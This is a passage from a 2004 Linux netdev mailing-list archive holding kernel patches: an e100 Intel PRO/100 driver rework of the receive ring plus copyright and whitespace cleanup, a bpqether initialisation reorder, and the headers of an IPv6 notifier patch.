put_unaligned(cpu_to_le32(rx->dma_addr), + (u32 *)&prev_rfd->link); + prev_rfd->command &= ~cpu_to_le16(cb_el); + pci_dma_sync_single(nic->pdev, rx->prev->dma_addr, + sizeof(struct rfd), PCI_DMA_TODEVICE); } + + return 0; } -static inline int e100_rx_indicate(struct nic *nic, struct rx_list *curr, +static inline int e100_rx_indicate(struct nic *nic, struct rx *rx, unsigned int *work_done, unsigned int work_to_do) { - struct sk_buff *skb = curr->skb; + struct sk_buff *skb = rx->skb; struct rfd *rfd = (struct rfd *)skb->data; u16 rfd_status, actual_size; @@ -1408,7 +1399,7 @@ return -EAGAIN; /* Need to sync before taking a peek at cb_complete bit */ - pci_dma_sync_single(nic->pdev, curr->dma_addr, + pci_dma_sync_single(nic->pdev, rx->dma_addr, sizeof(struct rfd), PCI_DMA_FROMDEVICE); rfd_status = le16_to_cpu(rfd->status); @@ -1420,15 +1411,15 @@ /* Get actual data size */ actual_size = le16_to_cpu(rfd->actual_size) & 0x3FFF; - if(unlikely(actual_size > curr->length - sizeof(struct rfd))) - actual_size = curr->length - sizeof(struct rfd); + if(unlikely(actual_size > RFD_BUF_LEN - sizeof(struct rfd))) + actual_size = RFD_BUF_LEN - sizeof(struct rfd); /* Get data */ - pci_dma_sync_single(nic->pdev, curr->dma_addr, + pci_dma_sync_single(nic->pdev, rx->dma_addr, sizeof(struct rfd) + actual_size, PCI_DMA_FROMDEVICE); - pci_unmap_single(nic->pdev, curr->dma_addr, - curr->length, PCI_DMA_FROMDEVICE); + pci_unmap_single(nic->pdev, rx->dma_addr, + RFD_BUF_LEN, PCI_DMA_FROMDEVICE); /* Pull off the RFD and put the actual data (minus eth hdr) */ skb_reserve(skb, sizeof(struct rfd)); @@ -1452,37 +1443,26 @@ (*work_done)++; } - curr->length = 0; - curr->dma_addr = 0; - curr->skb = NULL; - + rx->skb = NULL; + return 0; } static inline void e100_rx_clean(struct nic *nic, unsigned int *work_done, unsigned int work_to_do) { - struct list_head *list, *tmp; - struct rx_list *curr; + struct rx *rx; /* Indicate newly arrived packets */ - list_for_each(list, &nic->rx_list_head) { - curr = list_entry(list, struct rx_list, list); - if(likely(curr->skb != NULL)) - if(e100_rx_indicate(nic, curr, work_done, work_to_do)) - break; + for(rx = nic->rx_to_clean; rx->skb; rx = nic->rx_to_clean = rx->next) { + if(e100_rx_indicate(nic, rx, work_done, work_to_do)) + break; /* No more to clean */ } /* Alloc new skbs to refill list */ - list_for_each_safe(list, tmp, &nic->rx_list_head) { - curr = list_entry(list, struct rx_list, list); - if(unlikely(curr->skb != NULL)) - break; /* List is full, done */ - if(unlikely(e100_rx_alloc_skb(nic, curr))) + for(rx = nic->rx_to_use; !rx->skb; rx = nic->rx_to_use = rx->next) { + if(unlikely(e100_rx_alloc_skb(nic, rx))) break; /* Better luck next time (see watchdog) */ - list_del(&curr->list); - list_add_tail(&curr->list, &nic->rx_list_head); - e100_rx_rfa_add_tail(nic, curr); } e100_start_receiver(nic); @@ -1490,44 +1470,47 @@ static void e100_rx_clean_list(struct nic *nic) { - struct list_head *list; - - if(!nic->rx_list) - return; + struct rx *rx; + unsigned int i, count = nic->params.rfds.count; - list_for_each(list, &nic->rx_list_head) { - struct rx_list *curr = list_entry(list, - struct rx_list, list); - if(curr->skb) { - pci_unmap_single(nic->pdev, curr->dma_addr, - curr->length, PCI_DMA_FROMDEVICE); - dev_kfree_skb(curr->skb); + if(nic->rxs) { + for(rx = nic->rxs, i = 0; i < count; rx++, i++) { + if(rx->skb) { + pci_unmap_single(nic->pdev, rx->dma_addr, + RFD_BUF_LEN, PCI_DMA_FROMDEVICE); + dev_kfree_skb(rx->skb); + } } + kfree(nic->rxs); + nic->rxs = NULL; } - kfree(nic->rx_list); - nic->rx_list = NULL; + nic->rx_to_use = nic->rx_to_clean = NULL; + nic->ru_running = 0; } static int e100_rx_alloc_list(struct nic *nic) { - struct rx_list *curr; + struct rx *rx; unsigned int i, count = nic->params.rfds.count; - - INIT_LIST_HEAD(&nic->rx_list_head); - if(!(nic->rx_list = kmalloc(sizeof(struct rx_list)*count, GFP_ATOMIC))) + nic->rx_to_use = nic->rx_to_clean = NULL; + + if(!(nic->rxs = kmalloc(sizeof(struct rx) * count, GFP_ATOMIC))) return -ENOMEM; + memset(nic->rxs, 0, sizeof(struct rx) * count); - for(curr = nic->rx_list, i = 0; i < count; curr++, i++) { - if(e100_rx_alloc_skb(nic, curr)) { + for(rx = nic->rxs, i = 0; i < count; rx++, i++) { + rx->next = (i + 1 < count) ? rx + 1 : nic->rxs; + rx->prev = (i == 0) ? nic->rxs + count - 1 : rx - 1; + if(e100_rx_alloc_skb(nic, rx)) { e100_rx_clean_list(nic); return -ENOMEM; } - list_add_tail(&curr->list, &nic->rx_list_head); - e100_rx_rfa_add_tail(nic, curr); } - + + nic->rx_to_use = nic->rx_to_clean = nic->rxs; + return 0; } @@ -1539,13 +1522,16 @@ DPRINTK(INTR, DEBUG, "stat_ack = 0x%02X\n", stat_ack); - if(stat_ack == 0x00 || /* Not our interrupt */ - stat_ack == 0xFF) /* Hardware is ejected (cardbus, hotswap) */ + if(stat_ack == stat_ack_not_ours || /* Not our interrupt */ + stat_ack == stat_ack_not_present) /* Hardware is ejected */ return IRQ_NONE; - /* Ack interrupts */ + /* Ack interrupt(s) */ writeb(stat_ack, &nic->csr->scb.stat_ack); - e100_write_flush(nic); + + /* We hit Receive No Resource (RNR); restart RU after cleaning */ + if(stat_ack & stat_ack_rnr) + nic->ru_running = 0; #ifdef CONFIG_E100_NAPI e100_disable_irq(nic); @@ -1664,7 +1650,7 @@ static void e100_down(struct nic *nic) { - e100_disable_irq(nic); + e100_hw_reset(nic); free_irq(nic->pdev->irq, nic->netdev); del_timer_sync(&nic->watchdog); netif_carrier_off(nic->netdev); @@ -1687,7 +1673,6 @@ { int err; struct sk_buff *skb; - struct rx_list *rx; /* Use driver resources to perform internal MAC or PHY * loopback test. A single packet is prepared and transmitted @@ -1724,8 +1709,8 @@ set_current_state(TASK_UNINTERRUPTIBLE); schedule_timeout(HZ / 100 + 1); - rx = list_entry(nic->rx_list_head.next, struct rx_list, list); - if(memcmp(rx->skb->data + sizeof(struct rfd), skb->data, ETH_DATA_LEN)) + if(memcmp(nic->rx_to_clean->skb->data + sizeof(struct rfd), + skb->data, ETH_DATA_LEN)) err = -EAGAIN; err_loopback_none: From scott.feldman@intel.com Tue Jan 13 10:55:48 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 10:56:02 -0800 (PST) Received: from hermes.fm.intel.com (fmr01.intel.com [192.55.52.18]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DItm6H007950 for ; Tue, 13 Jan 2004 10:55:48 -0800 Received: from talaria.fm.intel.com (talaria.fm.intel.com [10.1.192.39]) by hermes.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-outer.mc,v 1.14 2004/01/09 00:51:16 root Exp $) with ESMTP id i0DIqhOv006961; Tue, 13 Jan 2004 18:52:43 GMT Received: from fmsmsxvs041.fm.intel.com (fmsmsxvs041.fm.intel.com [132.233.42.126]) by talaria.fm.intel.com (8.12.9-20030918-01/8.12.9/d: major-inner.mc,v 1.7 2003/12/18 18:58:10 root Exp $) with SMTP id i0DIslA6012031; Tue, 13 Jan 2004 18:54:47 GMT Received: from [134.134.3.50] ([134.134.3.50]) by fmsmsxvs041.fm.intel.com (SAVSMTP 3.1.2.35) with SMTP id M2004011310552613454 ; Tue, 13 Jan 2004 10:55:26 -0800 Date: Tue, 13 Jan 2004 11:31:55 -0800 (PST) From: "Feldman, Scott" X-X-Sender: scott.feldman@localhost.localdomain Reply-To: "Feldman, Scott" To: Jeff Garzik cc: netdev@oss.sgi.com, "Feldman, Scott" Subject: [e100 netdev-2.6 2/2] copyright + trailing blanks + misc Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Scanned-By: MIMEDefang 2.31 (www . roaringpenguin . com / mimedefang) X-archive-position: 2391 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 17780 Lines: 649 * Misc: 2004 copyright, remove trailing white space, remove some unused symbols. ----------- --- net-drivers-2.5-exp/drivers/net/e100.c.orig 2004-01-09 16:46:20.000000000 -0800 +++ net-drivers-2.5-exp/drivers/net/e100.c 2004-01-09 16:50:02.000000000 -0800 @@ -1,7 +1,7 @@ /******************************************************************************* - Copyright(c) 1999 - 2003 Intel Corporation. All rights reserved. + Copyright(c) 1999 - 2004 Intel Corporation. All rights reserved. This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free @@ -27,7 +27,7 @@ *******************************************************************************/ /* - * e100.c: Intel(R) PRO/100 ethernet driver + * e100.c: Intel(R) PRO/100 ethernet driver * * (Re)written 2003 by scott.feldman@intel.com. Based loosely on * original e100 driver, but better described as a munging of @@ -65,11 +65,11 @@ * through the Management Data Interface (MDI). Consequently, the * driver leverages the mii.c library shared with other MII-compliant * devices. - * - * Big- and Little-Endian byte order as well as 32- and 64-bit + * + * Big- and Little-Endian byte order as well as 32- and 64-bit * archs are supported. Weak-ordered memory and non-cache-coherent * archs are supported. - * + * * III. Transmit * * A Tx skb is mapped and hangs off of a TCB. TCBs are linked @@ -83,7 +83,7 @@ * Non-Tx commands (config, multicast setup, etc) are linked * into the CBL ring along with Tx commands. The common structure * used for both Tx and non-Tx commands is the Command Block (CB). - * + * * cb_to_use is the next CB to use for queuing a command; cb_to_clean * is the next CB to check for completion; cb_to_send is the first * CB to start on in case of a previous failure to resume. CB clean @@ -101,14 +101,14 @@ * Descriptors (RFD) + data buffer, thus forming the simplified mode * memory structure. Rx skbs are allocated to contain both the RFD * and the data buffer, but the RFD is pulled off before the skb is - * indicated. The data buffer is aligned such that encapsulated + * indicated. The data buffer is aligned such that encapsulated * protocol headers are u32-aligned. Since the RFD is part of the * mapped shared memory, and completion status is contained within * the RFD, the RFD must be dma_sync'ed to maintain a consistent * view from software and hardware. * * Under typical operation, the receive unit (RU) is start once, - * and the controller happily fills RFDs as frames arrive. If + * and the controller happily fills RFDs as frames arrive. If * replacement RFDs cannot be allocated, or the RU goes non-active, * the RU must be restarted. Frame arrival generates an interrupt, * and Rx indication and re-allocation happen in the same context, @@ -130,7 +130,7 @@ * * MagicPacket(tm) WoL support is enabled/disabled via ethtool. * - * Thanks to JC (jchapman@katalix.com) for helping with + * Thanks to JC (jchapman@katalix.com) for helping with * testing/troubleshooting the development driver. */ @@ -154,9 +154,9 @@ #define DRV_NAME "e100" -#define DRV_VERSION "3.0.12_dev" +#define DRV_VERSION "3.0.13_dev" #define DRV_DESCRIPTION "Intel(R) PRO/100 Network Driver" -#define DRV_COPYRIGHT "Copyright(c) 1999-2003 Intel Corporation" +#define DRV_COPYRIGHT "Copyright(c) 1999-2004 Intel Corporation" #define PFX DRV_NAME ": " #define E100_WATCHDOG_PERIOD 2 * HZ @@ -233,9 +233,9 @@ enum phy { phy_100a = 0x000003E0, - phy_100c = 0x035002A8, + phy_100c = 0x035002A8, phy_82555_tx = 0x015002A8, - phy_nsc_tx = 0x5C002000, + phy_nsc_tx = 0x5C002000, phy_82562_et = 0x033002A8, phy_82562_em = 0x032002A8, phy_82562_eh = 0x017002A8, @@ -260,15 +260,8 @@ }; enum scb_status { - rus_idle = 0x00, - rus_suspended = 0x04, - rus_no_resources = 0x08, rus_ready = 0x10, rus_mask = 0x3C, - cus_idle = 0x00, - cus_suspended = 0x40, - cus_active = 0x80, - cus_mask = 0xC0, }; enum scb_stat_ack { @@ -517,7 +510,7 @@ multicast_all = (1 << 2), wol_magic = (1 << 3), } flags ____cacheline_aligned; - + enum mac mac; enum phy phy; struct params params; @@ -544,7 +537,7 @@ u32 rx_fc_pause; u32 rx_fc_unsupported; u32 rx_tco_frames; - + u8 rev_id; u16 leds; u16 eeprom_wc; @@ -577,14 +570,14 @@ * device off of PCI bus */ writel(selective_reset, &nic->csr->port); e100_write_flush(nic); udelay(20); - + /* Now fully reset device */ writel(software_reset, &nic->csr->port); e100_write_flush(nic); udelay(20); - + /* TCO workaround - 82559 and greater */ if(nic->mac >= mac_82559_D101M) { - /* Issue a redundant CU load base without setting + /* Issue a redundant CU load base without setting * general pointer, and without waiting for scb to * clear. This gets us into post-driver. Finally, * wait 20 msec for reset to take effect. */ @@ -712,7 +705,7 @@ /* Try reading with an 8-bit addr len to discover actual addr len */ e100_eeprom_read(nic, &addr_len, 0); nic->eeprom_wc = 1 << addr_len; - + for(addr = 0; addr < nic->eeprom_wc; addr++) { nic->eeprom[addr] = e100_eeprom_read(nic, &addr_len, addr); if(addr < nic->eeprom_wc - 1) @@ -726,7 +719,7 @@ DPRINTK(PROBE, ERR, "EEPROM corrupted\n"); return -EAGAIN; } - + return 0; } @@ -738,10 +731,10 @@ /* Try reading with an 8-bit addr len to discover actual addr len */ e100_eeprom_read(nic, &addr_len, 0); nic->eeprom_wc = 1 << addr_len; - + if(start + count >= nic->eeprom_wc) return -EINVAL; - + for(addr = start; addr < start + count; addr++) e100_eeprom_write(nic, addr_len, addr, nic->eeprom[addr]); @@ -810,7 +803,7 @@ err = -ENOSPC; cb_prepare(nic, cb, skb); - + /* Order is important otherwise we'll be in a race with h/w: * set S-bit in current first, then clear S-bit in previous. */ cb->command |= cpu_to_le16(cb_s); @@ -849,7 +842,7 @@ if((data_out = readl(&nic->csr->mdi_ctrl)) & mdi_ready) break; } - + DPRINTK(HW, DEBUG, "%s:addr=%d, reg=%d, data_in=0x%04X, data_out=0x%04X\n", dir == mdi_read ? "READ" : "WRITE", addr, reg, data, data_out); @@ -877,9 +870,9 @@ if(nic->mac == mac_unknown) nic->mac = mac_82557_D100_A; - nic->params.rfds = rfds; - nic->params.cbs = cbs; - + nic->params.rfds = rfds; + nic->params.cbs = cbs; + /* Quadwords to DMA into FIFO before starting frame transmit */ nic->tx_threshold = 0xE0; @@ -905,9 +898,9 @@ u8 *c = (u8 *)config; cb->command = cpu_to_le16(cb_config); - + memset(config, 0, sizeof(struct config)); - + config->byte_count = 0x16; /* bytes in this struct */ config->rx_fifo_limit = 0x8; /* bytes in FIFO before DMA */ config->direct_rx_dma = 0x1; /* reserved */ @@ -938,7 +931,7 @@ if(nic->mii.force_media && nic->mii.full_duplex) config->full_duplex_force = 0x1; /* 1=force, 0=auto */ - + if(nic->flags & promiscuous || nic->loopback) { config->rx_save_bad_frames = 0x1; /* 1=save, 0=discard */ config->rx_discard_short_frames = 0x0; /* 1=discard, 0=save */ @@ -947,7 +940,7 @@ if(nic->flags & multicast_all) config->multicast_all = 0x1; /* 1=accept, 0=no */ - + if(!(nic->flags & wol_magic)) config->magic_packet_disable = 0x1; /* 1=off, 0=on */ @@ -961,7 +954,7 @@ else config->standard_stat_counter = 0x0; } - + DPRINTK(HW, DEBUG, "[00-07]=%02X:%02X:%02X:%02X:%02X:%02X:%02X:%02X\n", c[0], c[1], c[2], c[3], c[4], c[5], c[6], c[7]); DPRINTK(HW, DEBUG, "[08-15]=%02X:%02X:%02X:%02X:%02X:%02X:%02X:%02X\n", @@ -1007,7 +1000,7 @@ DPRINTK(HW, DEBUG, "phy_addr = %d\n", nic->mii.phy_id); if(addr == 32) return -EAGAIN; - + /* Selected the phy and isolate the rest */ for(addr = 0; addr < 32; addr++) { if(addr != nic->mii.phy_id) { @@ -1018,13 +1011,13 @@ bmcr & ~BMCR_ISOLATE); } } - + /* Get phy ID */ id_lo = mdio_read(netdev, nic->mii.phy_id, MII_PHYSID1); id_hi = mdio_read(netdev, nic->mii.phy_id, MII_PHYSID2); nic->phy = (u32)id_hi << 16 | (u32)id_lo; DPRINTK(HW, DEBUG, "phy ID = 0x%08X\n", nic->phy); - + /* Handle National tx phy */ if(nic->phy == phy_nsc_tx) { /* Disable congestion control */ @@ -1033,7 +1026,7 @@ cong &= ~NSC_CONG_ENABLE; mdio_write(netdev, nic->mii.phy_id, MII_NSC_CONG, cong); } - + if(nic->mac >= mac_82550_D102) /* enable/disable MDI/MDI-X auto-switching */ mdio_write(netdev, nic->mii.phy_id, MII_NCONFIG, @@ -1045,7 +1038,7 @@ static int e100_hw_init(struct nic *nic) { int err; - + e100_hw_reset(nic); DPRINTK(HW, ERR, "e100_hw_init\n"); @@ -1062,7 +1055,7 @@ return err; if((err = e100_exec_cb(nic, NULL, e100_setup_iaaddr))) return err; - if((err = e100_exec_cmd(nic, cuc_dump_addr, + if((err = e100_exec_cmd(nic, cuc_dump_addr, nic->dma_addr + offsetof(struct mem, stats)))) return err; if((err = e100_exec_cmd(nic, cuc_dump_reset, 0))) @@ -1117,7 +1110,7 @@ &s->complete; /* Device's stats reporting may take several microseconds to - * complete, so where always waiting for results of the + * complete, so where always waiting for results of the * previous command. */ if(*complete == le32_to_cpu(0x0000A007)) { @@ -1203,10 +1196,10 @@ } else if(!mii_link_ok(&nic->mii) && netif_carrier_ok(nic->netdev)) { DPRINTK(LINK, INFO, "link down\n"); } - + mii_check_link(&nic->mii); - - /* Software generated interrupt to recover from (rare) Rx + + /* Software generated interrupt to recover from (rare) Rx * allocation failure */ writeb(irq_sw_gen, &nic->csr->scb.cmd_hi); e100_write_flush(nic); @@ -1269,7 +1262,7 @@ for(cb = nic->cb_to_clean; cb->status & cpu_to_le16(cb_complete); cb = nic->cb_to_clean = cb->next) { - if(likely(cb->skb != NULL)) { + if(likely(cb->skb)) { nic->net_stats.tx_packets++; nic->net_stats.tx_bytes += cb->skb->len; @@ -1283,7 +1276,7 @@ cb->status = 0; nic->cbs_avail++; } - + spin_unlock(&nic->cb_lock); /* Recover from running out of Tx resources in xmit_frame */ @@ -1293,7 +1286,7 @@ return tx_cleaned; } -static void e100_clean_cbs(struct nic *nic, int free_mem) +static void e100_clean_cbs(struct nic *nic) { if(nic->cbs) { while(nic->cb_to_clean != nic->cb_to_use) { @@ -1308,13 +1301,11 @@ nic->cb_to_clean = nic->cb_to_clean->next; } nic->cbs_avail = nic->params.cbs.count; - if(free_mem) { - pci_free_consistent(nic->pdev, - sizeof(struct cb) * nic->params.cbs.count, - nic->cbs, nic->cbs_dma_addr); - nic->cbs = NULL; - nic->cbs_avail = 0; - } + pci_free_consistent(nic->pdev, + sizeof(struct cb) * nic->params.cbs.count, + nic->cbs, nic->cbs_dma_addr); + nic->cbs = NULL; + nic->cbs_avail = 0; } nic->cuc_cmd = cuc_start; nic->cb_to_use = nic->cb_to_send = nic->cb_to_clean = @@ -1325,25 +1316,25 @@ { struct cb *cb; unsigned int i, count = nic->params.cbs.count; - + nic->cuc_cmd = cuc_start; nic->cb_to_use = nic->cb_to_send = nic->cb_to_clean = NULL; nic->cbs_avail = 0; - - nic->cbs = pci_alloc_consistent(nic->pdev, + + nic->cbs = pci_alloc_consistent(nic->pdev, sizeof(struct cb) * count, &nic->cbs_dma_addr); if(!nic->cbs) return -ENOMEM; for(cb = nic->cbs, i = 0; i < count; cb++, i++) { cb->next = (i + 1 < count) ? cb + 1 : nic->cbs; - cb->prev = (i == 0) ? nic->cbs + count - 1 : cb - 1; - + cb->prev = (i == 0) ? nic->cbs + count - 1 : cb - 1; + cb->dma_addr = nic->cbs_dma_addr + i * sizeof(struct cb); cb->link = cpu_to_le32(nic->cbs_dma_addr + ((i+1) % count) * sizeof(struct cb)); } - + nic->cb_to_use = nic->cb_to_send = nic->cb_to_clean = nic->cbs; nic->cbs_avail = count; @@ -1617,7 +1608,7 @@ !(nic->eeprom[eeprom_config_asf] & eeprom_gcl) && ((nic->eeprom[eeprom_smbus_addr] & 0xFF) != 0xFE)); } - + static int e100_up(struct nic *nic) { int err; @@ -1642,7 +1633,7 @@ del_timer_sync(&nic->watchdog); netif_stop_queue(nic->netdev); err_clean_cbs: - e100_clean_cbs(nic, 1); + e100_clean_cbs(nic); err_rx_clean_list: e100_rx_clean_list(nic); return err; @@ -1655,7 +1646,7 @@ del_timer_sync(&nic->watchdog); netif_carrier_off(nic->netdev); netif_stop_queue(nic->netdev); - e100_clean_cbs(nic, 1); + e100_clean_cbs(nic); e100_rx_clean_list(nic); } @@ -1697,7 +1688,7 @@ BMCR_LOOPBACK); e100_start_receiver(nic); - + if(!(skb = dev_alloc_skb(ETH_DATA_LEN))) { err = -ENOMEM; goto err_loopback_none; @@ -1717,7 +1708,7 @@ mdio_write(nic->netdev, nic->mii.phy_id, MII_BMCR, 0); nic->loopback = lb_none; e100_hw_init(nic); - e100_clean_cbs(nic, 1); + e100_clean_cbs(nic); err_clean_rx: e100_rx_clean_list(nic); return err; @@ -1745,7 +1736,7 @@ struct nic *nic = netdev->priv; return mii_ethtool_gset(&nic->mii, cmd); } - + static int e100_set_settings(struct net_device *netdev, struct ethtool_cmd *cmd) { struct nic *nic = netdev->priv; @@ -1757,7 +1748,7 @@ return err; } - + static void e100_get_drvinfo(struct net_device *netdev, struct ethtool_drvinfo *info) { @@ -1767,7 +1758,7 @@ strcpy(info->fw_version, "N/A"); strcpy(info->bus_info, pci_name(nic->pdev)); } - + static int e100_get_regs_len(struct net_device *netdev) { struct nic *nic = netdev->priv; @@ -1805,11 +1796,11 @@ wol->supported = (nic->mac >= mac_82558_D101_A4) ? WAKE_MAGIC : 0; wol->wolopts = (nic->flags & wol_magic) ? WAKE_MAGIC : 0; } - + static int e100_set_wol(struct net_device *netdev, struct ethtool_wolinfo *wol) { struct nic *nic = netdev->priv; - + if(wol->wolopts != WAKE_MAGIC && wol->wolopts != 0) return -EOPNOTSUPP; @@ -1820,22 +1811,22 @@ pci_enable_wake(nic->pdev, 0, nic->flags & (wol_magic | e100_asf(nic))); e100_exec_cb(nic, NULL, e100_configure); - + return 0; } - + static u32 e100_get_msglevel(struct net_device *netdev) { struct nic *nic = netdev->priv; return nic->msg_enable; } - + static void e100_set_msglevel(struct net_device *netdev, u32 value) { struct nic *nic = netdev->priv; nic->msg_enable = value; } - + static int e100_nway_reset(struct net_device *netdev) { struct nic *nic = netdev->priv; @@ -1847,7 +1838,7 @@ struct nic *nic = netdev->priv; return mii_link_ok(&nic->mii); } - + static int e100_get_eeprom_len(struct net_device *netdev) { struct nic *nic = netdev->priv; @@ -1859,7 +1850,7 @@ struct ethtool_eeprom *eeprom, u8 *bytes) { struct nic *nic = netdev->priv; - + eeprom->magic = E100_EEPROM_MAGIC; memcpy(bytes, &((u8 *)nic->eeprom)[eeprom->offset], eeprom->len); @@ -1870,7 +1861,7 @@ struct ethtool_eeprom *eeprom, u8 *bytes) { struct nic *nic = netdev->priv; - + if(eeprom->magic != E100_EEPROM_MAGIC) return -EINVAL; memcpy(&((u8 *)nic->eeprom)[eeprom->offset], bytes, eeprom->len); @@ -1885,7 +1876,7 @@ struct nic *nic = netdev->priv; struct param_range *rfds = &nic->params.rfds; struct param_range *cbs = &nic->params.cbs; - + ring->rx_max_pending = rfds->max; ring->tx_max_pending = cbs->max; ring->rx_mini_max_pending = 0; @@ -1895,14 +1886,14 @@ ring->rx_mini_pending = 0; ring->rx_jumbo_pending = 0; } - + static int e100_set_ringparam(struct net_device *netdev, struct ethtool_ringparam *ring) { struct nic *nic = netdev->priv; struct param_range *rfds = &nic->params.rfds; struct param_range *cbs = &nic->params.cbs; - + if(netif_running(netdev)) e100_down(nic); rfds->count = max(ring->rx_pending, rfds->min); @@ -1911,11 +1902,11 @@ cbs->count = min(cbs->count, cbs->max); if(netif_running(netdev)) e100_up(nic); - + return 0; } - -static char e100_gstrings_test[][ETH_GSTRING_LEN] = { + +static const char e100_gstrings_test[][ETH_GSTRING_LEN] = { "Link test (on/offline)", "Eeprom test (on/offline)", "Self test (offline)", @@ -1966,7 +1957,7 @@ return 0; } -static char e100_gstrings_stats[][ETH_GSTRING_LEN] = { +static const char e100_gstrings_stats[][ETH_GSTRING_LEN] = { "rx_packets", "tx_packets", "rx_bytes", "tx_bytes", "rx_errors", "tx_errors", "rx_dropped", "tx_dropped", "multicast", "collisions", "rx_length_errors", "rx_over_errors", "rx_crc_errors", @@ -1974,7 +1965,7 @@ "tx_aborted_errors", "tx_carrier_errors", "tx_fifo_errors", "tx_heartbeat_errors", "tx_window_errors", /* device-specific stats */ - "tx_deferred", "tx_single_collisions", "tx_multi_collisions", + "tx_deferred", "tx_single_collisions", "tx_multi_collisions", "tx_flow_control_pause", "rx_flow_control_pause", "rx_flow_control_unsupported", "tx_tco_packets", "rx_tco_packets", }; @@ -2083,13 +2074,13 @@ return 0; } -static int __devinit e100_probe(struct pci_dev *pdev, +static int __devinit e100_probe(struct pci_dev *pdev, const struct pci_device_id *ent) { struct net_device *netdev; struct nic *nic; int err; - + if(!(netdev = alloc_etherdev(sizeof(struct nic)))) { if(((1 << debug) - 1) & NETIF_MSG_PROBE) printk(KERN_ERR PFX "Etherdev alloc failed, abort.\n"); @@ -2241,7 +2232,7 @@ } } -#ifdef CONFIG_PM +#ifdef CONFIG_PM static int e100_suspend(struct pci_dev *pdev, u32 state) { struct net_device *netdev = pci_get_drvdata(pdev); @@ -2272,7 +2263,7 @@ netif_device_attach(netdev); if(netif_running(netdev)) e100_up(nic); - + return 0; } #endif @@ -2282,7 +2273,7 @@ .id_table = e100_id_table, .probe = e100_probe, .remove = __devexit_p(e100_remove), -#ifdef CONFIG_PM +#ifdef CONFIG_PM .suspend = e100_suspend, .resume = e100_resume, #endif From shemminger@osdl.org Tue Jan 13 11:03:35 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 11:03:49 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DJ3Y6H008521 for ; Tue, 13 Jan 2004 11:03:35 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0DJ3Mo12739; Tue, 13 Jan 2004 11:03:22 -0800 Date: Tue, 13 Jan 2004 11:00:39 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com, linux-hams@vger.kernel.org Subject: [PATCH] (4/5) remove bpqether pre-existing device discovery loop Message-Id: <20040113110039.647711c9.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2392 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 1286 Lines: 47 Remove duplicate/conflicting code now that netdev_register_notifier replays the device registration events. Reorder initialization to avoid having to simplify error unwind if /proc creation failed. diff -Nru a/drivers/net/hamradio/bpqether.c b/drivers/net/hamradio/bpqether.c --- a/drivers/net/hamradio/bpqether.c Tue Jan 13 10:23:55 2004 +++ b/drivers/net/hamradio/bpqether.c Tue Jan 13 10:23:55 2004 @@ -606,33 +606,20 @@ */ static int __init bpq_init_driver(void) { - struct net_device *dev; - - dev_add_pack(&bpq_packet_type); - - register_netdevice_notifier(&bpq_dev_notifier); - - printk(banner); - #ifdef CONFIG_PROC_FS if (!proc_net_fops_create("bpqether", S_IRUGO, &bpq_info_fops)) { printk(KERN_ERR "bpq: cannot create /proc/net/bpqether entry.\n"); - unregister_netdevice_notifier(&bpq_dev_notifier); - dev_remove_pack(&bpq_packet_type); return -ENOENT; } #endif /* CONFIG_PROC_FS */ - rtnl_lock(); - for (dev = dev_base; dev != NULL; dev = dev->next) { - if (dev_is_ethdev(dev) && bpq_new_device(dev)) { - printk(KERN_ERR - "bpq: cannot setup dev for '%s'\n", - dev->name); - } - } - rtnl_unlock(); + dev_add_pack(&bpq_packet_type); + + register_netdevice_notifier(&bpq_dev_notifier); + + printk(banner); + return 0; } From shemminger@osdl.org Tue Jan 13 11:03:38 2004 Received: with ECARTIS (v1.0.0; list netdev); Tue, 13 Jan 2004 11:03:55 -0800 (PST) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0DJ3b6H008525 for ; Tue, 13 Jan 2004 11:03:38 -0800 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id i0DJ3Qo12762; Tue, 13 Jan 2004 11:03:26 -0800 Date: Tue, 13 Jan 2004 10:58:56 -0800 From: Stephen Hemminger To: "David S. Miller" Cc: netdev@oss.sgi.com Subject: [PATCH] (2/5) IPV6 notifier replay changes Message-Id: <20040113105856.3e366b9c.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.7claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 2396 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev 